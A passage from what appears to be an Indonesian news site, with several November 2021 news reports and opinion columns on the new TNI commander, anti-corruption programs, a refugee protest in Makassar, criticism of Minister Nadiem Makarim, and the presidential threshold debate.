Andika Perkasa sebagai Panglima TNI pada hari Rabu (17/11). Pelantikan ini akan dilakukan di Istana Negara. Sebelumnya, Rapat Paripurna DPR RI pada hari Senin (8/11) menyetujui usulan Presiden Joko Widodo yang mengajukan nama Jenderal TNI Andika Perkasa sebagai calon Panglima TNI. Persetujuan tersebut diambil setelah mendengarkan laporan Komisi I DPR yang telah menyelenggarakan proses uji kelayakan dan kepatutan (fit and proper test) calon Panglima TNI pada hari Sabtu (6/11). Dalam rapat paripurna tersebut, Jenderal TNI Andika Perkasa hadir dan diperkenalkan di hadapan anggota dewan. Andika dipilih sebagai Panglima TNI untuk menggantikan Marsekal Hadi Tjahjanto yang akan memasuki masa pensiun. Sebelum dipercaya menjadi Panglima TNI, Andika Perkasa adalah Kepala Staf TNI Angkatan Darat (Kasad). Andika juga pernah mengemban jabatan penting di tubuh TNI sebagai Panglima Komando Cadangan Strategis Angkatan Darat (Pangkostrad), dan Komandan Komando Pembina Doktrin Pendidikan dan Latihan Angkatan Darat (Dankodiklat AD). Andika juga pernah bertugas memimpin teritorial saat menjadi Panglima Komando Daerah Militer (Pangdam) XII/Tanjungpura pada tahun 2016. Sebelum menjadi Pangdam XII, Andika adalah Komandan Pasukan Pengamanan Presiden (Danpaspampres) yang mengawal Presiden Jokowi. (sws)

Mensos Ingin PAKU Integritas dengan KPK Jadi Budaya Tangkal Korupsi

Jakarta, FNN - Menteri Sosial (Mensos) Tri Rismaharini menginginkan program Penguatan Antikorupsi Penyelenggara Negara Berintegritas (PAKU Integritas) yang dilaksanakan bersama Komisi Pemberantasan Korupsi (KPK) menjadi budaya untuk menangkal segala bentuk praktik korupsi. "Jadi, bagaimana pendidikan karakter integritas itu menjadi suatu budaya untuk menangkal praktik korupsi, selain perbaikan sistem yang kita buat," kata Mensos Tri Rismaharini di Gedung KPK Jakarta, Selasa. Melalui kerja sama antara KPK dengan Kemensos, Risma berharap segala bentuk praktik korupsi terutama di lingkungan kementerian yang dipimpinnya dapat dicegah sebelum terjadinya penyimpangan. "Kami menyambut baik meskipun selama ini saya juga sudah berupaya mewujudkan hal itu," kata eks Wali Kota Surabaya tersebut. Menurut dia, melalui program PAKU Integritas yang digagas oleh lembaga antirasuah tersebut, maka upaya-upaya yang telah dilakukannya selama ini akan jauh lebih mudah diterapkan karena dibantu langsung oleh KPK. Apalagi, program pendidikan antikorupsi yang diberikan oleh KPK tersebut akan menyasar langsung para pejabat atau penyelenggara negara untuk jangka pendek dan panjang. "Jadi akan lebih mudah dan cepat bersama KPK," ujarnya. Dalam waktu dekat, para pejabat di lingkup Kemensos terutama eselon satu akan melakukan pendidikan dan latihan sesuai program PAKU Integritas yang telah disusun oleh KPK. PAKU Integritas merupakan salah satu program pendidikan untuk meningkatkan kesadaran dan pengetahuan tentang antikorupsi khusus bagi para penyelenggara negara di kementerian/lembaga. Program ini meliputi dua kegiatan utama yaitu pembekalan antikorupsi (executive briefing) bagi penyelenggara negara beserta pasangannya dan pendidikan dan latihan pembangunan integritas bagi para penyelenggara negara. KPK memandang Kemensos sebagai salah satu kementerian yang memiliki peran penting dan strategis. Sejumlah kajian sistem telah dilakukan KPK termasuk di masa pandemi. Salah satunya terkait kajian tata kelola bantuan sosial (bansos) di tahun 2020. (sws)

Satgas PPLN Bubarkan Demonstrasi Imigran di Makassar

Makassar, FNN - Satuan Tugas Penanganan Pengungsi Luar Negeri (PPLN) Kota Makassar, Sulawesi Selatan, akhirnya berhasil membubarkan demonstrasi para imigran yang bertahan di perwakilan UNHCR di depan gedung Menara Bosowa, Makassar, Sulawesi Selatan. "Sudah dibubarkan, karena demonstrasi mereka menyalahi aturan. Mereka sudah lama disitu, sudah hampir satu bulan, " tegas Ketua Satgas PPLN Makassar, Muhyiddin, Selasa. Ia mengatakan tindakan tegas pembubaran imigran tersebut malam tadi, disebabkan laporan masyarakat atas aksinya telah meresahkan, mendirikan tenda di atas pendestrian jalan hingga bermalam selama dua pekan mengganggu aktifitas warga. Selain itu, pihaknya telah berkoordinasi dengan perwakilan UNHCR sebagai organisasi yang menangani pengungsi imigran serta aparat kepolisian di kantor Polrestabes Makassar untuk menindaklanjuti tuntutan mereka dipindahkan ke negara ketiga, karena Indonesia hanya menjadi negara persinggahan. "Kalau mereka mau bersabar tentu ada jalan keluarnya, sebenarnya kan ini sisa menunggu. Untuk penindakan dan penertiban itu ranah kami. Tapi, penanganan pengungsi imigran itu bukan wewenang kami, tapi UNHCR," ucap Kepala Dinas Sosial Makassar itu menjelaskan. Penertiban tersebut melibatkan Satgas PPLN Dinas Sosial, Satpol PP, dibantu tim Rumah Detensi Imigrasi (Rudenim) Kemenkumham Wilayah Sulsel. Seluruh barang perangkat aksi mereka telah disita oleh Satpol PP. Puluhan pengungsi imigran ini kemudian diangkut ke lokasi pengungsiannya atau Community House di Makassar. Secara terpisah, Kepala Seksi Registrasi, Administrasi dan Pelaporan Rudenim Makassar Rita menyatakan, pembubaran itu telah mendapat ijin dari pihak manajemen gedung Menara Bosowa serta berkoordinasi dengan Satgas PPLN. Kendati demikian, Rita tidak memberi penjelasan lebih detail apa saja syarat pengungsi imigran bisa mendapatkan resetlement karena masih menunggu perintah dari atasannya. "Soal ini sudah beberapa kali dimediasi menghadirkan UNHCR. Untuk Afirmasi saya coba minta kepada Kepala Rudenim," kata pria asal Sebelumnya, koordinator demonstrasi pengungsi imigran, Habib, menuturkan, tujuan dari aksinya meminta kejelasan kepada UNHCR mengenai ressetlement atau pemukiman kembali ke negara ketiga. "Sudah 14 hari kami bertahan di sini. Tapi tuntutan kami tidak direspons mereka (UHCR) dan tidak mau menemui kami. Kami tidak mau melawan, hanya minta tolong kepada pemerintah Indonesia supaya dikasih kejelasan dari UNHCR, "tutur pria asal Afghanistan yang sudah hidup di Indonesia selama 15 tahun ini menjelaskan. (sws)

Polisi Takut Sama Luhut?

Oleh Sugengwaras *) Kapolri harus turun tangan, peka dan peduli atas penolakan anggotanya terhadap laporan Prodem terkait dugaan bisnis PCR yang menyeret nama Luhut Panjaitan dan Erick Thohir. Jika tidak, ini merupakan yang kesekian kalinya Polri inkonsisten terhadap pencanangan presisi ( prediktif, responsibilitas, tranparansi yang berkeadilan ) dari Kapolri, yang apabila benar benar diimplementasikan berdampak harumnya aroma Polri Ini hak rakyat, yang tidak bisa ditolak dengan alasan pembenaran Soal benar atau salahnya dugaan atau sangkaan itu nanti akan terjawab pada proses hukum / pengadilan Polri harus prediktif dan tranparansi, untuk menegakkan hukum dan keadilan bagi seluruh warga negara tanpa pandang bulu Jika Polri tetap bersikeras mempertahankan dan menolak laporan ini, sesungguhnya Polri hanya menang pada tingkat taktis operasional, tapi kalah ditingkat strategis Artinya Polri hanya menang karena berlatar belakang kekuasaan dan kewenanganya, namun menjadi kalah karena tidak memperoleh kepercayaan dari rakyat Perlu dipahami pencanangan presisi polri merupakan adagium yang selayaknya didukung oleh rakyat dan semua pihak, karena pada esensinya presisi Polri merupakan kunci kejujuran, kebenaran, keadilan dan kemanusiaan yang adil dan beradab Oleh karenanya Polri perlu mempertimbangkan lagi penolakan atas dugaan / sangkaan bisnis PCR yang melibatkan LBP dan ET ini, sesuai peransi polri sebagai pengayom, pelindung dan pelayanan terhadap masyarakat serta penegakan hukum, yang tidak terlibat pada politik praktis melainkan politik negara Barangkali ini merupakan seleksi nyali dalam menghadapi tantangan tugas tugas Polri kini dan masa mendatang yang semakin berat Tentunya rakyat berharap Polri semakin profesional, visioner, kredibel dan elektabel dalam mendukung citra baik NKRI *) Purnawirawan TNI AD.

Mosi Tidak Percaya PII kepada Menteri Nadiem Makarim

Oleh: Rafani Tuahuns Kepada Nadiem Makarim Sebagai Menteri Pendidikan, Kebudayaan, Riset & Teknologi. “Salah kaprah Pendidikan, salah kiprah Kementrian”. Percepatan Pembangunan Pendidikan Nasional, merupakan satu hal mendesak bagi masyarakat pelajar Indonesia, di tengah-tengah masa depan yang akan penuh dengan persaingan baik tingkat nasional dengan bonus demografi, ataupun persaingan di tingkat global. Orientasi pada kemajuan pendidikan dan reformasi pendidikan serta digitalisasi sejak awal kepemimpinan Joko Widodo – Ma’ruf Amin menjadi tema yang kerap diusung dalam rumusuan rumusan formulatif Presiden dan Wapres. Penunjukan Nadiem Makarim pada periode kedua Presiden Jokowi sebagai Menteri Pendidikan, Kebudayaan, Riset & Teknologi alasannya karena telah berhasil dalam melakukan perubahan teknologi informasi di Indonesia dengan membangun Gojek. Kepercayaan ini dipertaruhkan Jokowi agar terjadi akselerasi teknologi di bidang pendidikan Nasional. Termasuk memudahkan para pelajar dalam mengakses pendidikan, sehingga tidak ada lagi masyarakat Indonesia yang tak mendapatkan pendidikan yang baik, bermutu, sebagaimana yang tertera dalam RPJMN 2020- 2024 yang berfokus pada pembangunan dan peningkatan kualitas dan pemerataan layanan pendidikan. Namun hingga saat ini, di tengah situasi pandemi yang semestinya menjadi ruang bagi Menteri mantan CEO perusahaan teknologi raksasa Indonesia itu untuk membuktikan kepiawaiannya menggunakan teknologi untuk mengakselerasi bidang pendidikan, justru malah berbanding terbalik. Nadiem Makarim dalam kebijakannya, tak mampu memanfaatkan teknologi untuk mempercepat pembangunan di bidang pendidikan. Alih alih, Nadiem malah berkutat pada program-program jargonistik yang tak tentu arah. Data BPS yang dirilis pada 2020 setidaknya telah menunjukan Kesenjangan pendidikan antar kelompok ekonomi masih menjadi permasalahan dan semakin lebar seiring dengan semakin tingginya jenjang pendidikan. Kesenjangan pendidikan juga masih tinggi apabila dibandingkan antar wilayah. Pembelajaran berkualitas juga belum berjalan secara optimal dan merata antar wilayah. Sejumlah langkah sudah dilakukan oleh pemerintah untuk meningkatkan mutu pendidikan nasional. Sayangnya, upaya yang dilakukan belum dapat meningkatkan kualitas pembelajaran. Semenjak ditetapkannya sebagai menteri pendidikan dan kebudayaan RI, kebijakan Nadiem Makarim banyak menuai kontroversi, dan penolakan oleh berbagai elemen masyarakat baik praktisi, akademisi dan organisasi. Pasalnya beberapa Program yang dirumuskan Nadiem Makarim dirasa terlalu besar mengeluarkan anggaran namun tidak sesuai dengan orientasi pendidikan nasional yang termuat dalam Sisdiknas. Salah satu program yang sangat kontroversi diawal jabatannya sebagai menteri ialah Program Organisasi Penggerak, dimana anggaran yang dicanangkan dalam program tersebut berkisar sekitar Rp 595 miliar yang dialokasikan untuk 156 ormas. Dalam lampiran peraturan Sekretaris Jenderal Kemendikbud tertuang skema pembiayayaan dibuat dengan dengan tiga kategori yaiut Gajah (Kategori I) dengan jumlah Rp 20 miliar, Macan (Kategori II) Rp 5 Miliar dan Kijang (Kategori III) Rp 1 miliar. Persoalan yang kemudian keliru ialah hampir sebagian besar penerima hibah tersebut tidak kredibel karna terdapat lembaga-lembaga CSR yang semestinya sudah menjadi tugas mereka menggunakan dana perusahaan dalam berkolaborasi memajukan pendidikan, justru masuk dalam institusi yang mendapatkan “jatah” dari anggaran pendidikan. Selain itu, baru-baru ini Nadiem juga membuat program boros anggaran yang tak sadar kondisi masyarakat pelajar, seperti program pengadaan laptop yang nilainya mencapai Rp 17 triliun. Secara sekilas, mungkin ini merupakan hal baik karena memberikan fasilitas belajar kepada anak didik, namun sayangnya infrastruktur teknologi lainnya tidak mencukupi. Layanan internet Indonesia masih sangat timpang antara di kota dan pedesaan. Pengadaan laptop hanya akan menambah lebar jurang kualitas pelajar di kota dan desa. Hal ini juga menunjukkan bahwa Nadiem sangat lemah memahami apa dan untuk apa pendidikan Nasional itu. Lain halnya ialah pengadaan harga satuan laptop yang diluar nalar dengan bandrol 10 juta/laptop dengan spesifikasi mesin dibawah standar. Terakhir yang tak kalah borosnya dari agenda nadiem ialah renovasi ruang kerja yang bernilai fantastis dan tidak masuk akal dengan menghabiskan angka sebesar Rp 5 miliar. Klarifikasi pihak kemendikbud atas itu ialaha proses renovasi yang dilakukan ialah keseluruhan dua lantai gedung A keseluruhan lantai. Namun dengan anggaran yang sebesar itu tentu saja hal itu sangat disayangkan karna berlebihan dalam penganggaran renovasi. Salah kaprah kebijakan Nadiem Makarim sebagai mendikbud tidak hanya pada pengalokasian anggaran yang tidak masuk akal. Tetapi juga melalui kebijakan kebijakan yang apolitis dan inkonstitusional dengan adanya Permendikbud Nomor 28 tahun 2021 tentang Organisasi Tata Kerja Kemendikbudristek yang mengahpuskan Badan Standar Nasional Pendidikan, padahal jika kita pahami BSNP merupakan produk dari UU Sisdiknas 2003 sebagai pedoman konstitusi pendidikan nasional Indonesia. Selain dari ragam kebijakan dan program nadiem makarim yang penuh dengan kontroversi, PB PII mencatat beberapa apologi Mendikbudristek sebagai bentuk indikasi dari ketidaksiapan dan kegagalannya mengelola Kebijkakan. Catatan pertama adalah perumusan Kamus Sejarah Indonesia Jilid II yang menghilangkan beberapa peran tokoh agama yang berjuang melakukan perlawanan terhadap bangsa Kolonial. Hal tersebut kemudian memicu respon dari berbagai kelompok masyarakat dan ormas Islam. Pasca dari itu nadiem makarim menyampaikan permohan maafnya dengan mendatangi salah satu ormas Islam terbesar di Indonesia. Bukan hanya itu, catatan kedua apologi nadim datang ketika sempat hilangnya frasa agama dalam draf peta jalan pendidikan Indonesia 2020-2035. Hal tersebut mengundang banyak kekecewaan masyarakat yang meyakini pendidikan agama sebagai bagian dari kurikulum pendidikan yang sesuai dengan jalan dan cita-cita pendidikan nasional. Atas kegaduhan tersebut kemudian Nadiem Makarim melakukan klarifikasi serta menjanjikan frasa agama tidak akan terhapus dari Peta Jalan Pendidikan Nasional. Catatan terakhir, klarifikasi Nadiem Makarim dilakukan saat Mendikbud menetapkan Permendikbud Nomor 6 tahun 2021 tentang Petunjuk Teknis Pengelolaan BOS Reguler yang sangat diskriminatif dan tidak berkeadilan. Pasalnya dalam Permen tersebut memuat beberapa syarat sekolah penerima Dana Bos yang mengenyampingkan prinsip prinsip pemarataan, terutama Pasal 3 ayat (2) huruf d yang mendapatkan banyak penolakan dari masyarakat tentang Sekolah Penerima Dana BOS Reguler yang tertera ketentuan sekolah yang memiliki jumlah peserta didik paling sedikit 60 peserta didik selama tiga tahun terakhir. Tiga kasus tersebut setidaknya kami mencatat kinerja menteri Nadiem Makarim yang tidak benar-benar memahami pendidikan nasional khususnya untuk membangun kualitas dan menyelesaikan persolaan ketimpangan yang terjadi di pendidikan Indonesia yang sesuai dengan amanat RPJM 2020-2024. Offside dalam Pandemi Sejak Presiden menyatakan secara resmi kasus Corona di Indonesia pada 2 Maret 2020, Menteri Pendidikan Nadiem Makarim menetapkan Surat Edaran Pembelajaran jarak jauh pada 24 Maret 2020. Namun keputusan tersebut faktanya telah memberikan persolan baru di daerah-daerah, khususnya masyarakat pedesaan dan pelosok. Setidaknya ada dua persoalan yang kemudian menjadi fundamental dalam Pembelajaran jarak jauh. Pertama, kebijakan PJJ tidak dibarengi dengan kurikulum alternative yang dapat memudahkan pihak sekolah ataupun orangtua (keluarga) mengawal proses pembelajar bersama-sama, sehingga pada tatanan praktik banyak pihak yang kecolongan dalam mengawal PJJ. Kedua, PJJ memaksa pemindahan ruang belajar dari luring ke daring, hal tersebut sejatinya tidak relevan dengan kondisi masyarakat di pelosok yang belum siap dengan fasilitas yang diperlukan untuk menunjang proses pembelajaran jarak jauh. Hal lainnya yang kemudian menjadi sorotaan di awal pandem ialah cost pendidikan yang naik karna biaya yang perlu dikeluarkan oleh masyarakat untuk kuota internet walaupun kemudian pada 27 Agustus 2020 Nadiem Makarim merilis surat keputusan tentang bantuan internet pelajar. Dampak dari kebijakan pendidikan jarak jauh yang tidak utuh ialah produksi angka putus sekolah. Rilis riset ISEAS-Yusof Ishak Institut pada 21 Agustus 2020 mencatat 69 juta pelajar kehilangan akses pendidikan di Indonesia alasannya tidak lain karena Pembelajaran jarak jauh hanya memudahkan keluarga yang mampu semata. Kegagalan Nadiem dalam membaca kondisi nyatanya bukan hanya terjadi di era PJJ, namun di semester ini Mendikbud merilis surat edaran Pembelajaran Tatap Muka Terbatas, dengan alasan mencegah terjadinya learning loss. Lagi-lagi kebijakan Nadiem gagal menjadi solusi karena tidak utuhnya kebijakan yang dirumuskan, hasilnya PTMT malah membuat klaster-klaster baru Corona di sekolah-sekolah. Dari 432.335 satuan pendidikan yang melakukan PTMT tercatat hanya 9,93% atau sebanyak 40.593 yang mememiliki kesiapan belajar, dan 43,69 % atau sebanyak 188.880 satuan pendidikan terindikasi telah terjadi kasus Positif. Kekhawatiran Klaster kasus Covid-10 di satuan pendidikan juga sempat diungkapkan oleh P2G, pasalnya hasil pantauan P2G dari September hingga November ada sekitar 20 daerah yang sekolahnya terpaksa menghentikan PTM karena ada siswa atau guru positif Covid-19. Keseriusan Nadiem dalam melakukan Pembelajaran Tatap Muka Terbatas telah kontradiktif dengan praktik pengawalan serta memberikan jaminan kesehatan kepada Pelajajar dan guru. Bagaimana tidak dalam kriteria wajib PTM pemerintah hanya memasukkan kategori Guru yang telah divaksin 100%, sedangkan vaksin pelajar dalam hal itu tidak masuk di dalamnya. Maka wajar jika kemudian Vaksinasi Pelajar berjalan dengan lambat,yagn hanya baru dapat dilakukan pada 143.535 pelajar. Yang lebih rentan dari kebijakan PTMT ialah Indonesia dinilai belum mencapai standar positivity rate WHO bahwa kondisi daerah aman jika angka penularan sudah di bawah 5%. Melalui serangkaian catatan-catatan yang telah diutaran tersebut kemudian kami menilai Kemendikbudristek hari ini menjadi “disfungsi” dengan 4 Indikasi: Kebijakan-kebijakan yang dihadirkan mendikbud tidak dapat beradaptasi dengan masyarakat sekitar, dampaknya ialah semakin memperpanjang ketimpangan pendidikan Kota dan Desa. Mendikbud tidak memiliki Goal attainment yang utuh dalam menyusun konsepsi pendidikan di masa yang akan datang, setiap program dan kebijakannya selalu bersifat jargonistik dan tidak memiliki daya subtansial. Beberapa hal tersebut dapat terlihat dari agenda POP dan bagi bagi laptop yang syarat dengan Intrik dan boros anggaran, PJJ atau PTMT yang tidak pernah utuh penyelenggaraannya dan patut di evaluasi. Kebijakan Mendikbud tidak mampu melakukan harmonisasi antara kelompok masyarakat yang timpang padak akhirnya produk dari kebijakan yang ada gagal melakukan integrasi. Mendikbud tidak memiliki proses Latensi yang baik, sebagian besar agenda bersifat reaksionis dan tidak mengindahkah nilai-nilai dan norma yang telah lama menjadi orientasi pendidikan nasional. Atas dasar persoalan-persolan tersebut, Pengurus Besar (PB) Pelajar Islam Indonesia (PII) sebagai Kelompok yang terorganisir dari organisasi pelajar, mahasiswa dan masyrakat yang peduli terhadap pendidikan menilai Kinerja Menteri Pendidikan, Kebudayaan, Riset dan Teknologi Nadiem Makarim tidak mencapai hasil yang memuaskan dan salah kaparah dalam memaknai Pendidikan yang utuh hasilnya. Secara kelembagaan kiprah Kemendikbudristek telah melenceng jauh dari tugas-tugasnya. maka dengan ini kami menuntut agar Presiden Jokowi segera melakukan: Evaluasi Kinerja Nadiem Makarim sebagai Menteri Pendidikan, Kebudayaan, Riset dan Teknologi RI secara menyeluruh. Bentuk Unit Kerja di bawah Presiden yang terkonsentrasi pada persoalan ketimpangan dan Digitalisasi Pendidikan. Bebaskan biaya Pendidikan dari Sekolah Dasar hingga Perguruan Tinggi di masa pandemik dan PPKM. Tingkatkan Kesejahteraan guru honorer dan Guru di Pelosok Negeri Meminta MA untuk melakukan pengujian terhadap Permendikbud Nomor 28 tahun 2021. Penulis Adalah Ketua Umum Pengurus Besar Pelajar Islam Indonesia (PB PII)

Di UMI Makassar, Ketua DPD RI Tegaskan Presidential Threshold Tak Sesuai Konstitusi

Makassar, FNN - Ketua DPD RI, AA LaNyalla Mahmud Mattalitti, kembali menegaskan jika Presidential Threshold yang terdapat dalam Undang-Undang Nomor 7 Tahun 2017 Tentang Pemilihan Umum, tidak sesuai dengan Konstitusi. LaNyalla menyampaikan hal itu saat membuka Focus Group Discussion bertema 'Presidential Threshold dan Oligarki Pemecah Bangsa' yang digelar di Universitas Muslim Indonesia (UMI) Makassar, Selasa (16/11/2021). Acara FGD dilakukan secara hybrid (fisik dan virtual zoom). “Apakah Presidential Threshold sesuai dengan Konstitusi? Jawabnya adalah tidak. Ini bukan hanya jawaban dari saya, tetapi semua pakar hukum tata negara mengatakan hal yang sama,” kata LaNyalla. Dijelaskannya, pendapat itu jelas terungkap saat dirinya membuka FGD di kampus Universitas Muhammadiyah Yogyakarta beberapa waktu lalu. Dari tiga narasumber pakar hukum tata negara dalam FGD, semua mengatakan tidak ada perintah konstitusi untuk melakukan pembatasan dukungan untuk pencalonan presiden. “Yang ada adalah ambang batas keterpilihan presiden yang bisa kita baca di UUD 1945, hasil Amandemen, di dalam Pasal 6A ayat (3) dan (4). Disebutkan bahwa Ambang Batas Keterpilihan perlu sebagai upaya untuk menyeimbangkan antara popularitas dengan prinsip keterwakilan yang lebih lebar dan menyebar,” paparnya. Sedangkan Ambang Batas Pencalonan tidak ada sama sekali. Di Pasal 6A Ayat (2) yang tertulis; 'Pasangan calon Presiden dan Wakil Presiden diusulkan oleh partai politik atau gabungan partai politik peserta pemilihan umum sebelum pelaksanaan pemilihan umum'. “Artinya setiap partai politik peserta pemilu berhak dan dapat mengajukan pasangan capres dan cawapres. Dan pencalonan itu diajukan sebelum Pilpres dilaksanakan,” ujar dia. Yang kemudian membingungkan, justru lahir UU Nomor 7 Tahun 2017 tentang Pemilu, yang merupakan pengganti dari UU Nomor 42 Tahun 2008. Dalam UU tersebut, di Pasal 222 disebutkan, 'Pasangan Calon diusulkan oleh Partai Politik atau Gabungan Partai Politik Peserta Pemilu yang memenuhi persyaratan perolehan kursi paling sedikit 20 persen dari jumlah kursi DPR atau memperoleh 25 persen dari suara sah secara nasional pada Pemilu anggota DPR sebelumnya'. “Di sinilah semakin ketidakjelasannya. Selain memberi ambang batas yang angkanya entah dari mana dan ditentukan siapa, di Pasal tersebut juga terdapat kalimat; 'pada Pemilu anggota DPR sebelumnya'. Akhirnya komposisi perolehan suara partai secara nasional atau kursi DPR diambil dari komposisi yang lama,” papar Senator asal Jawa Timur itu. “Sungguh pasal yang aneh dan menyalahi Konstitusi. Apalagi menggunakan basis hasil suara yang sudah “basi”. Karena basis suara hasil pemilu 5 tahun yang lalu,” imbuhnya. Sayangnya meski jelas pasal dalam UU Pemilu itu tidak derifatif dari Pasal 6A UUD hasil amandemen, tetapi Mahkamah Konstitusi memutuskan bahwa pasal tersebut adalah bagian dari Open Legal Policy. Atau wewenang pembuat Undang-Undang. Sehingga, sampai hari ini, pasal tersebut masih berlaku. “Oleh karena itulah kami di DPD RI berpendapat bahwa Wacana Amandemen Konstitusi perubahan ke-5 yang kini tengah bergulir harus benar-benar dimanfaatkan untuk mengkoreksi sistem tata negara dan arah perjalanan bangsa,” tuturnya. LaNyalla juga berharap FGD-FGD yang dilakukannya di berbagai kampus maupun institusi lainnya menambah literasi dan memperkaya pemahaman sebagai motivasi untuk melakukan perbaikan atas beberapa persoalan fundamental yang ada di negara ini. “Tentu DPD RI akan mendapatkan dorongan energi, bila mahasiswa Indonesia, termasuk para mahasiswa UMI Makassar menjadikan agenda Amandemen Konstitusi sebagai momentum yang sama,” ucap dia. Rektor Universitas Muslim Indonesia (UMI) Prof. Dr. H Basri Modding, SE, M. Si mengucapkan terimakasih kepada Ketua DPD dan anggota DPD atas kepercayaan kepada UMI sebagai host FGD yang bertema sangat menarik tersebut. "Terkait tema hari ini UMI sebagai masyarakat kampus tidak mengenal adanya pembatasan dalam pencalonan Presiden. Artinya Presidential Threshold harus diubah karena memang hal itu menghambat," katanya. Ditambahkan Basri, masyarakat kampus juga tidak ingin adanya oligarki. Partai besar yang bergandengan tangan dengan pemodal juga tidak boleh berkuasa terus. "Makanya kita ingin ada perubahan. UMI mendukung karena hal itu untuk kepentingan rakyat," ucapnya. Sementara itu dalam sambutannya, Plt Gubernur Sulsel yang dibacakan oleh Dr Jayadi Naz, Staf Ahli Plt Gubernur Sulawesi Selatan bidang Kesra, mengatakan bahwa Presidential Threshold yang sudah diterapkan sekarang bukan harga mati. Artinya bisa dipikirkan kembali atau diubah. "Dengan ambang batas yang terlalu tinggi sehingga hanya parpol besar yang bisa berperan. Padahal negara kita ini mempunyai 270 juta penduduk. Banyak calon pemimpin yang sebenarnya bisa tampil," tegasnya. Oleh karena itu keinginan-keinginan rakyat harus diakomodasi. Karena kepentingan rakyat di atas segalanya. "DPD yang dipimpin Pak LaNyalla saat ini sudah sangat bagus karena berani mencari solusi dari permasalahan fundamental bangsa untuk menjadi lebih baik ke depan," katanya. Turut mendampingi LaNyalla dalam FGD antara lain Tamsil Linrung (Ketua Kelompok DPD RI di MPR/Senator Sulawesi Selatan), Andi Muh. Ihsan (Senator Sulawesi Selatan), Habib Ali Alwi dan TB. M. Ali Ridho Azhari (Senator Banten), Djafar Alkatiri (Senator Sulawesi Utara) dan Ajbar (Senator Sulawesi Barat) dan Asyera Respati A Wundalero (Senator NTT). (RAN) Hadir secara fisik Wakil Rektor I-V UMI, para Dekan UMI dan civitas akademika lainnya, juga Ketua KPU dan Bawaslu Sulsel.(*)

Atas Nama Konstitusi, Rakyat Ditipu Lagi

Oleh: Yusuf Blegur Heboh bisnis pengadaan alat tes PCR di kalangan pejabat saat pandemi, hingga masalah banjir besar Sintang Kalimantan Barat, menjadi bukti ada persoalan dalam semangat dan manifestasi konstitusi. Bercermin dari UU Omnibuslaw dan RUU HIP yang mendapat penolakan luas dari rakyat, konstitusi negeri ini memang sarat kepentingan bisnis. Ia menjadi perwujudan konspirasi jahat antara pemilik modal, birokrasi, dan politisi, meskipun mendapat perlawanan rakyat dalam ranah tinjauan akademis sekalipun dan gelombang aksi unjuk rasa publik. Konstitusi terus melenggang berlaku, meski mengkhianati kepentingan dan hajat hidup banyak orang, bahkan hingga merusak alam dan ekosistem lingkungan. Atas nama undang-undang, keserakahan menguasai sumber daya alam dan menumpuk harta semakin tak terkendali. Dalam perlindungan konstitusi, gurita bisnis tak bisa dihentikan siapa pun. Konstitusi menyimpan perangai ambisius dan arogan, disusupi kekuatan pembajak negara. Produk hukum yang dibiayai rakyat, dinikmati hanya oleh oligarki politik dan ekonomi. Faktanya, berulangkali rakyat tertipu lagi. Menarik dan kepentingannya begitu mendesak untuk dibahas dan ditegakkan nilai-nilai substansinya. Beberapa produk undang-undang dari eksekutif yang kemudian disetujui legislatif. Kian kemari bukan saja tidak aspiratif dan jauh dari menunjukkan kedaulatan rakyat dalam proses penyelenggaraan negara. Produk undang-undang baik yang berasal dari inisiasi maupun usulan pemerintah yang disahkan DPR. Telah menjadi ajang pembunuhan demokrasi, ekploitasi sumber daya alam yang barbar dan penuh konspirasi perampokan kekayaan negara. Belakangan semakin marak dan terkesan dibuat sistematik kelahiran undang-undang yang kental dengan liberalisasi dan sekulerisasi bukan hanya dalam aspek ekonomi politik, namun sudah menjalar dalam pelbagai bidang. Daya rusaknya juga sudah menyentuh ruang spiritual bangsa, pada kebudayaan dan keagamaan. Belum lama, pemerintah melalui kementerian pendidikan mengeluarkan Permedikbudritek Nomor 30 Tahun 2021. Sebuah peraturan yang nyata-nyata mengangkangi etika, norma dan adab baik dalam ranah sosial maupun agama. Nadiem Makarim menteri pendidikan yang berlatarbelakang pebisnis, berupaya melakukan liberalisasi jika tidak bisa disebut legalisasi kebebasan seks dikalangan pelajar. Kebijakan yang seperti gayung bersambut dan terkesan berkesinambungan dengan kepemimpinan Yaqut Qoumas Cholil pada kementerian agama yang kerapkali melakukan sekulerisasi agama. Konstitusi di Indonesia seperti ingin menampilkan realitas liberalisasi dan sekulerisasi dari keharmonisan ideologi kapitalisme dan komunisme. Tak peduli pada kerusakan alam dan mengancam keselamatan rakyat. Memanfaatkan konstitusi yang proses pembahasan dan ketuk palunya sudah dikuasai kapitalisme transaksional dalam parlemen. Undang-undang positif negara tidak lagi sekedar menjadi proteksi dari legitimasi kehendak rakyat. Malah rakyat menjadi korban manipulasi dan dikebiri undang-undang. Mirisnya, kongsi bisnis yang sarat dengan korupsi, kolusi dan nepotisme kuat menyelimutinya. Pubik secara telanjang dipertontonkan bagaimana para pengusaha bersama pejabat dan politisi bergumul dalam kenistaan kongsi dagang. Konstitusi seperti menjadi sub koordinat dari monster industrialisasi kapitalis, tanpa mengindahkan nilai-nilai budaya dan kearifan lokal. Tidak tanggung-tanggung, membaurnya pengusaha dan penguasa. Semakin menunjukan arogansi dan kesewenang-wenangan konspiratif itu. Seakan menentang kekuasaan Tuhan, merendahkan kemanusiaan hingga melawan semesta alam. Kejahatan Konstitusional Banjir besar Sintang Kalimantan Barat yang belum pernah terjadi selama lebih 20 tahun ini. Merupakan bukti tak terbantahkan, bahwasanya kecerobohan pemerintah atas nama konstitusi dan pembangunan telah merusak siklus keseimbangan alam dan menimbulkan kesengsaraan rakyat. Distorsi kebijakan dari deforestasi dan pertambangan. Alih-alih membangun lumbung pangan, pemerintah justru merusak alam dan mengancam keberlangsungan habitat didalamnya. Lucunya, proyek serampangan itu ditangani menteri pertahanan keamanan, bukan oleh menteri pertanian yang berkompeten pada ranah ketahanan pangan. Serupa tapi tak sama dengan nasib buruh yang terus terjepit ditengah bengisnya industrialisasi dan cekaknya pemenuhan kebutuhan pokok hidup. Termasuk UU Minerba dalam Omnibuslaw yang memadukan daya cengkeram pengusaha dan birokrasi guna memuluskan upaya menguasai sumber daya alam demi kepentingan bisnis semata. Mengabaikan kedaulatan negara dan memarginalkan kepentingan khalayak. Semua ini tidak lebih dari landasan negara harus tetap berjalan demi investasi dan pembangunan nasional. Tak sedikitpun rasionalisasi yang mengangkat harkat hidup rakyat sesungguhnya. Tak lebih baik dari pemerintahan orde baru yang mengusung konsep developmentalisme. Rezim yang bertolakbelakang dari semangat dan mengkhianati reformasi ini. Tak peduli terhadap eksploitasi alam membabi-buta dan seberapa besar dampaknya bagi nasib rakyat dan kelestarian alam. Masa bodoh dengan dampak masa depan generasi penerus negara dan 